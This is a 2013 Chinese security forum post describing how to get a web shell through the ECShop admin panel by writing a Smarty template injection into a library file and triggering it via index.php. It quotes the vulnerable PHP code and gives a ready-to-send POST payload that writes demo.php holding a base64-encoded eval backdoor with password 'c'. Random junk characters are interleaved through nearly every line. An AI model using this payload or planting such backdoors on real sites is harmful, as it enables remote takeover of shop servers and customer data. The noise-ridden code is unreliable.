找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2868|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板4 j5 h/ A+ O) x% r
  Q" B9 J$ u* G" _+ N
而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了4 j! A1 _' J' `! Z9 w+ ^$ B
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码, I6 S# B! F* l$ j9 h
admin/template.php
* d" w+ F! l& L. ?
9 N$ E4 [/ n9 S, k5 D! b3 v3 C! g1 if ($_REQUEST['act'] == 'update_library') * a- J6 ?: M+ o+ ?

$ j8 ?% W3 b: q# A) y8 Y! B2   $ v7 h2 e4 S- W4 U$ f
6 e$ S1 K3 y# ^% N/ Z
3 { 1 e; |* K# ?# f' \
" G+ ]: L- t  Y7 p3 B2 G6 \
4     check_authz_json('library_manage'); 2 a. v* X; [1 x- T2 f
7 Z" G* P/ }1 R9 o
5   
: y  e3 V& W# K. B1 {3 `
7 ]7 _2 d, c% F- s6     $html = stripslashes(json_str_iconv($_POST['html']));
0 r6 ]  P$ o+ a% {( E& g2 i; d  B. p' s0 n  E, @, s* g
7   ; N; F( K3 n2 k  |+ q
. t7 O- q7 R: |& `8 `7 _3 H0 x1 S6 z
8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 2 K5 b) o7 W0 C% ?7 ]

# ~- x- Y3 }" n; M- ^9   
1 f" @7 X8 {" ~
4 |* `" N. e! A/ K% c10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
$ E  R9 G8 D& t7 V
4 S7 ?8 p  L& M5 N+ @0 u  X11   
4 w$ D) @2 W' D2 _1 F0 r0 I) f# d  m8 E) q0 h
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
) L. k0 ^3 o7 d1 m% y- ^2 ^* z- b; H! W) H' H* T0 _% _' Z
13   / q; X1 @+ O' N. j; {/ m
% j. x6 O/ O5 k
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 , z4 b& \* T6 n9 C! g- \. L
5 G, x: Y6 V( J. Y8 C
15     {
8 }" L3 @7 S) p
3 {. ]7 b$ U  |$ C7 a* `1 }5 `16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
( @! n1 M7 y; H9 a
5 y/ q4 ^! }3 S* u, o3 Z3 D17         make_json_result('', $_LANG['update_lib_success']); * [$ F$ n# m4 n1 S, r0 b
, {7 f4 _9 L& `- P% o3 Y
18     } 2 o9 R5 P% N' p: W7 [

! b; W' B* F, D  j. m19     else 2 b8 h3 h) ~& ]% Y  |! U/ R
! N' Z, D( w+ m" y, V# ^, m
20     { $ ^; h/ @" b0 W# q8 G

+ C, Z' G8 s! x21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); ( [6 r. ~0 X9 N0 D! L

. j. L" c5 G- _$ J22     } 5 P% O! U* h8 T4 q
( @& t$ T2 M5 B/ `& K2 C4 f) a
23 }
, K! {8 r( \2 |6 F$ n0 O- v1 q! q
. Y6 E  q0 _) I# \( H' L5 t  Y那么找个比较方便调用了模板的文件) N; G: z! E" J
index.php
5 C1 J! b* C3 y0 O" N/ F
) p; k( Y3 e1 g9 _2 s3 M5 E1 if ($act == 'cat_rec')
9 s: B5 K- _8 S/ d: h- e3 ?, |* b6 l; y- q
2   7 P  P6 @, ?6 O3 T1 `/ ^
( z7 O) o: \$ U, ?5 g
3 {
. h2 x1 s& g4 ^6 T) a4 h& E9 z, |; j/ w( @
4   $ Q9 T6 k2 O/ F% Z  [# W4 C
6 ]& I6 V) @$ O5 N4 w
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
  }( ~% T+ H& X5 F7 X) B! H5 n; ^! j' i, f- l2 q- S
6   * ?% x6 |0 \; u# M% {8 n
( L' x" y8 _! X# o
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
' J2 m% j' t* Q" z* z
' q3 |* f& p! B9 I8   ! w& k. ?- n- D6 ~- S
7 y2 w& f! M( T3 F
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
: P$ G6 z8 Q% Z( {' ?: y2 q/ }: C: S/ e5 x
10   2 x! F# l* i8 h' R# s2 S. P
) f6 J$ \/ @, H% s1 w" H
11     include_once('includes/cls_json.php'); : i" S& y0 F4 y( R! L
! t' P9 e2 q0 w8 L, P5 U
12   
7 _2 i6 F+ Z6 z2 A: U/ d8 |8 E& |( J( h
13     $json = new JSON; - Y* k7 F" b, J9 u- l

9 {! K% z- a$ X2 C) E2 b8 ~: J! p14   5 f. h' E$ J/ _% k- `# R
- P) E0 z, l' c
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
3 l3 o# a5 B) j1 u5 [" x: p  ~5 K8 n5 g/ B; [
16   
) ]& K9 G& O! @. z! _. f
* r! X8 B, ?2 e- Y3 U17     $children = get_children($cat_id); 4 e, I( g" a# G% I1 H. l

6 i2 Q7 V# D+ i$ e18   
/ e" k" I9 Q3 F* N% w5 d+ I& W1 S9 s8 ~
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 ' D" j( A1 ]) M7 Q1 o1 U' x$ f* y

9 q! Z9 ^+ Z* a( p1 ]& {; i8 X20   
6 l$ N$ V) k; N. k! F, y. s+ l- P& ?7 r* P9 g  V/ I3 S
21     $smarty->assign('cat_rec_sign', 1);
% l& k7 r+ J' n; }/ Q9 a7 P3 V- P& M& i4 ~7 D$ ]+ ^0 Y
22   
* Q( L1 w( }8 i+ j8 k* t4 \9 v0 Q1 ]
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best 6 V( r: j3 }2 t0 w

/ e7 V! B# [5 g6 [24   , W3 r- d$ Y. N4 B
+ w: C- U7 u) E7 D4 Z/ s
25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
% h& x5 O2 {' e1 f& a
/ c$ Y9 F  e. G26   / {# U& v' _1 N( ~2 Q

+ p% L. A* _/ G+ I% Z; y27         echo $rec_array[$rec_type]; * p+ R3 H2 ]2 W" R' D# _( @# _1 e

8 {. d% O0 D( c7 Z1 X28   
4 |9 l7 p  o3 T+ D8 `+ g2 i; x1 P9 U4 Y4 i" W! t/ E2 E
29     die($json->encode($result));
# O$ V/ e% }" r0 @& ?* i% Q3 p$ ]- J. Q8 j$ i( a* Q7 n  s6 r
30   8 K) ~' x( K7 z; {- R
; H* @7 R- Y" `
31 }
; d: t- g* A) R1 j5 Q1 F" \/ ]! M+ ~" T8 G- ?
那么就有利用方法了
  `6 z$ X" S4 Apost包到http://localhost/ec/admin/template.php?act=update_library
0 q4 m& x3 B, z# f+ zPost内容:
7 S2 K1 O. d+ g+ w) \4 X4 W" x( M. m5 F  a1 x
1 W( n, t! y" [" [
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. b7 c+ i5 c- U
2 g2 _  V! P* {9 t- l然后访问http://localhost/ec/index.php?act=cat_rec
% W4 f  H7 o/ y) r; P/ y
4 d: \6 i+ X/ cshel地址:http://localhost/ec/demo.php3 L5 L; }( N8 P2 A
密码c
+ {- @; u# t3 y9 \7 F0 c
3 j& V% G; @7 E; I( H# J" v$ l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表